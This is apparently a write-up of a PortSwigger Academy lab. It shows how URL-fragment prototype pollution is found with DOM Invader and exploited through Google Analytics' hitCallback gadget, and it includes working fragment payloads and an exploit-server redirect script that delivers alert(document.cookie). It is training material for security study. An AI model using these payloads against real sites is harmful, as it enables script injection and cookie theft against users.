| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Prototype Pollution / DOM XSS |
| Difficulty | Practitioner |
| Objective | Use DOM Invader to identify a prototype pollution source and a gadget in a minified third-party library, then exploit it to deliver alert(document.cookie) to the victim |
Client-Side Prototype Pollution in Third-Party Libraries¶
With DOM Invader active and prototype pollution scanning enabled, it immediately identified two viable sources:
https://web-security-academy.net/#__proto__[testproperty]=DOM_INVADER_PP_POC
https://web-security-academy.net/#constructor[prototype][testproperty]=DOM_INVADER_PP_POC
Verifying manually — query string notation didn't work:
But the URL fragment did:
/#__proto__[tetoProperty]=miku
// → miku
Fragment data isn't sent to the server in HTTP requests — developers sometimes forget it exists as client-side input. Libraries that parse location.hash and merge the result into objects are a consistent source of prototype pollution when the fragment goes unsanitized.
The gadget wasn't in first-party JavaScript — it was in a minified third-party library where manual review would take significant time. DOM Invader's "Scan for gadgets" found it in seconds:
Gadget property: hitCallback. Clicking "Exploit":
/#constructor[prototype][hitCallback]=alert%281%29
constructor[prototype] is an alternative path to Object.prototype — every object's constructor property points to its constructor function, which has a prototype property. When __proto__ is sanitized, constructor[prototype] is the first bypass to try.
The stack trace pointed to ga.js — Google Analytics:
hitCallback is a legitimate Google Analytics configuration property that accepts a function reference — called after a tracking hit completes. If hitCallback is inherited from the prototype via pollution, an attacker-controlled function fires inside Analytics' own machinery. The library's legitimate functionality becomes the execution vehicle. Third-party libraries loaded on millions of sites are a major source of gadgets precisely because they contain intentional callbacks that application developers never audit for prototype inheritance paths.
I hosted the exploit on the exploit server:
<script>
location="https://0a5c00390426c685806e1c0900b80005.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29"
</script>
The victim is redirected to the target with the polluted fragment. Google Analytics initializes, reads hitCallback from the config object, inherits our alert(document.cookie) from the prototype, and executes it.
Lab solved